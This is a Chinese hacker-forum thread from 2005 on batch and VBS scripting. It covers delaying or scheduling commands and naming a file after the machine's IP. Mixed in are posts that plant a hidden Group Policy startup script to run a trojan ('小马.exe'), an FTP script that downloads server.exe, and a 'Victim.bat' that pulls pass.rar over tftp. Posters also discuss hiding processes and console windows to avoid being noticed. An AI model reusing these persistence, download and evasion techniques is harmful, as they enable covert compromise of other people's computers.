发新话题
打印

[讨论]如何定义一个命令20分钟后运行?

呵呵,知道了^_^

你的问题菜鸟能帮你解决么 ?

echo. >> %systemroot%\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo [Startup] >> %systemroot%\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo 0CmdLine=%systemroot%\system32\GroupPolicy\Machine\Scripts\Startup\vbs.vbs >> %systemroot%\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo 0Parameters= >> %systemroot%\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo dim wsh >> %systemroot%\system32\GroupPolicy\Machine\Scripts\Startup\vbs.vbs
echo set wsh=CreateObject^("WScript.Shell"^) >> %systemroot%\system32\GroupPolicy\Machine\Scripts\Startup\vbs.vbs
echo wsh.run "我们的小马.exe",0 >> %systemroot%\system32\GroupPolicy\Machine\Scripts\Startup\vbs.vbs

我很菜的,写的不对,请指点,不过思路肯定行哟~
QQ:276083082

TOP

加一个bin,是这样么?

echo open www.163.com>tmp.txt
echo username>>tmp.txt
echo password>>tmp.txt
echo binary>>tmp.txt
echo bin get server.exe>>tmp.txt
echo bye>>tmp.txt
del tmp.txt
ftp -s:tmp.txt
QQ:276083082

TOP

放在启动项可以,那怎么判断时间呀,头疼>@
QQ:276083082

TOP

echo open ftp.163.com>tmp.txt
echo username>>tmp.txt
echo password>>tmp.txt
echo binary>>tmp.txt     这里已经有了
echo  get server.exe>>tmp.txt
echo bye>>tmp.txt
(del tmp.txt   )    这里你先删了的话,下面怎么运行呢,应该先运行,后删.
ftp -s:tmp.txt
(del tmp.txt ) 放在这里.
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

o  是这样,兄弟你要每天执行一次不多执行的批处理么,

@echo off
if not exist aa.txt date /t>>aa.txt
date /t>>bb.txt
fc /a aa.txt bb.txt | find "*****">>fc.txt
for /f %%i in (fc.txt) do if "%%i"=="*****" goto begin
goto end
:begin
del aa.txt
date /t>>aa.txt
...............今天你要执行的代码...............
:end
del bb.txt
del fc.txt
exit

我写的很烂,请指点下 ~
QQ:276083082

TOP

不过每天都要读写磁盘,HOHO/
QQ:276083082

TOP

引用:
下面是引用goodopell于06-20-2005 21:25发表的:
定时运行批处 netpatch版 ^_^
@echo off
if "%1"=="" goto use
if "%2"=="" goto use
:go
.......
这个不行的,他判断的只是时间啊,而且那个错误码,我试了几次都没成功
QQ:276083082

TOP

议题提交:怎么样能让新建一个.txt文件的名字是他的IP地址?
QQ:276083082

TOP

o 是这样,兄弟你要每天执行一次不多执行的批处理么,

@echo off
if not exist aa.txt date /t>>aa.txt
date /t>>bb.txt
fc /a aa.txt bb.txt | find "*****">>fc.txt
for /f %%i in (fc.txt) do if "%%i"=="*****" goto begin
goto end
:begin
del aa.txt
date /t>>aa.txt
...............今天你要执行的代码...............
:end
del bb.txt
del fc.txt
exit

我写的很烂,请指点下 ~
----------------------------------------------------------------------
兄弟,能讲解一下这个思路吗?
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

@echo off
if not exist aa.txt date /t>>aa.txt
date /t>>bb.txt
fc /a aa.txt bb.txt | find "*****">>fc.txt
for /f %%i in (fc.txt) do if "%%i"=="*****" goto begin
goto end
:begin
del aa.txt
date /t>>aa.txt
...............今天你要执行的代码...............
:end
del bb.txt
del fc.txt
exit

这个,好的~

    首先把当前日期(而不是时间)写在aa.txt。然后会再存一份到bb.txt内容都是:2005-07-04 星期一。
    FC命令用来判断他们的差异,比如:如果两个内容一样,说明太阳还没落山呢,为了判断是否是一样的,就只有把结果写入fc.txt了。
    用for命令提取其中的(fc.txt)的“敏感符号”,就是*****,为什么要提取*****呢?因为只有存在*****才说明两个文件不一样^_^
    最后注意!必须删掉bb.txt和fc.txt只保留aa.txt作为现在的时间记录。等“2005-07-04 星期一”改变的时候,用:
del aa.txt
date /t>>aa.txt
更新为当前时间就行了 呵呵我表达能力不行的 :)
[s:47]
QQ:276083082

TOP

你要是服务器,不关机的话就这样子:
@echo off
if not exist aa.txt date /t>>aa.txt
:start
date /t>>bb.txt
fc /a aa.txt bb.txt | find "*****">>fc.txt
for /f %%i in (fc.txt) do if "%%i"=="*****" goto begin
goto end
:begin
del aa.txt
date /t>>aa.txt
...............今天你要执行的代码...............
:end
del bb.txt
del fc.txt
goto start
QQ:276083082

TOP

看懂了,谢谢
但是还是有问题,比如不关机的,程序会一直循环,第一,进程里肯定有程序名,第二,这样一直循环比较读磁盘,肯定占内存.容易被发现.
关机的那一种,重启后,BAT仍然要每次人工运行才行,我觉得.
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

引用:
下面是引用十三豆子于07-04-2005 19:11发表的:
看懂了,谢谢
但是还是有问题,比如不关机的,程序会一直循环,第一,进程里肯定有程序名,第二,这样一直循环比较读磁盘,肯定占内存.容易被发现.
关机的那一种,重启后,BAT仍然要每次人工运行才行,我觉得.
呵呵,技术到此为止了,有高手没?快出来赐教!
QQ:276083082

TOP

引用:
下面是引用prc于07-04-2005 18:32发表的:
议题提交:怎么样能让新建一个.txt文件的名字是他的IP地址?
set shell=createobject("wscript.shell")
a=shell.exec("cmd /c ipconfig | find ""IP Address. . . . . . . . . . . .""").stdout.readall
filename=right(a,len(a)-instr(a,":"))

这样就得到filename了。:)不足之处是会弹个cmd框框出来。因为exec不比run,不能隐藏运行。下面一个代码要复杂一点,但不弹黑框框:

set shell=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
shell.run "cmd /c ipconfig | find ""IP Address. . . . . . . . . . . ."">tmp.txt",0,1
set file=fso.opentextfile("tmp.txt",1)
a=file.readline
file.close
shell.run "cmd /c del tmp.txt",0
filename=right(a,len(a)-instr(a,":"))
You're my FF~, forever~ ^_^

TOP

引用:
下面是引用prc于07-04-2005 18:52发表的:
@echo off
if not exist aa.txt date /t>>aa.txt
date /t>>bb.txt
fc /a aa.txt bb.txt | find "*****">>fc.txt
for /f %%i in (fc.txt) do if "%%i"=="*****" goto begin
.......
不用del aa.txt再date /t>>aa.txt,直接data /t >aa.txt就行了。
>>是追加
>是覆盖
所以建议这个bat中的>>都改为>
You're my FF~, forever~ ^_^

TOP

啊哦,我又错了

>,>>是这样区分的嘛^_^
--------------------------
下面是引用prc于07-04-2005 18:32发表的: 议题提交:怎么样能让新建一个.txt文件的名字是他的IP地址?

那个是vbs的,我看不懂呀,郁闷。。
QQ:276083082

TOP

引用:
下面是引用十三豆子于07-04-2005 19:11发表的:
看懂了,谢谢
但是还是有问题,比如不关机的,程序会一直循环,第一,进程里肯定有程序名,第二,这样一直循环比较读磁盘,肯定占内存.容易被发现.
关机的那一种,重启后,BAT仍然要每次人工运行才行,我觉得.
我还是建议用vbs解决。因为
1、不弹黑框框
2、不怎么占内存,因为不用循环,有个wscript.sleep。非要循环的话在循环中套个wscript.sleep也不占内存了。
3、进程里没有文件名,只有wscript.exe,虽然也可能被发现,但是发现的也只是system32中的那个wscript.exe

将就prc朋友的bat用vbs改写如下:

set fso=createobject("scripting.filesystemobject")
set shell=createobject("wscript.shell")
set file=fso.opentextfile("a",1)
if data.atendofstream=true then
shell.run "cmd /c echo hahaha>a",0,1
end if
do
data=left(now,len(now)-9)
data2=file.readline
if data<>data2 then
shell.run "cmd /k echo "&data&">aa&dir"
end if
wscript.sleep 1000*60*60
loop


重启后仍然要每次人工运行才行我也没办法:(
十三豆子朋友,通过替换服务或者是改写注册表来使之自启动行不行?如果行就好办了。
You're my FF~, forever~ ^_^

TOP

引用:
下面是引用prc于07-04-2005 21:17发表的:
那个是vbs的,我看不懂呀,郁闷。。
.......
啊?不能vbs吗?我只知道用命令:
ipconfig | find "IP Address. . . . . . . . . . . .">tmp.txt
可以把ip写到tmp.txt中。其他的就不懂了。 [s:43]
You're my FF~, forever~ ^_^

TOP

虽然可以用ipconfig | find "IP Address. . . . . . . . . . . .">tmp.txt把ip写到tmp.txt中但是也把"IP Address. . . . . . . . . . . ."一起写进去了。我之所以用vbs就是想用vbs的字符串处理函数把ip提取出来。
哎……bat没学好,不知道怎么操作字符串。
You're my FF~, forever~ ^_^

TOP

prc朋友,必须要用bat来建一个名字和ip一样的文件吗?
You're my FF~, forever~ ^_^

TOP

嘻嘻,那样最好拉
----------------------------------
set /p tftpip=
echo tftp -i tftpip get pass.rar %windir%\temp\pass.rar >> Victim.bat
----------------------------------
这个tftpip=为什么不能传递给echo tftp -i tftpip get pass.rar %windir%\temp\pass.rar >> Victim.bat是怎么回事  [s:43]
QQ:276083082

TOP

set /p tftpip=是什么意思呀?麻烦解释下好吗?
You're my FF~, forever~ ^_^

TOP

这个会让你输入文本然后就付给tftpip这个环境变量了(批处理把变量叫环境变量)
QQ:276083082

TOP

我知道了 刚才作了试验,应该写这样:

◎echo off
echo 请输入:
set /p tftpip=
echo tftp -i %tftpip% get pass.rar %windir%\temp\pass.rar >> Victim.bat
QQ:276083082

TOP

谢了。自己试了试,用引号括起来好象就ok了:
set /p tftpip="echo tftp -i tftpip get pass.rar %windir%\temp\pass.rar>Victim.bat"
You're my FF~, forever~ ^_^

TOP

发新话题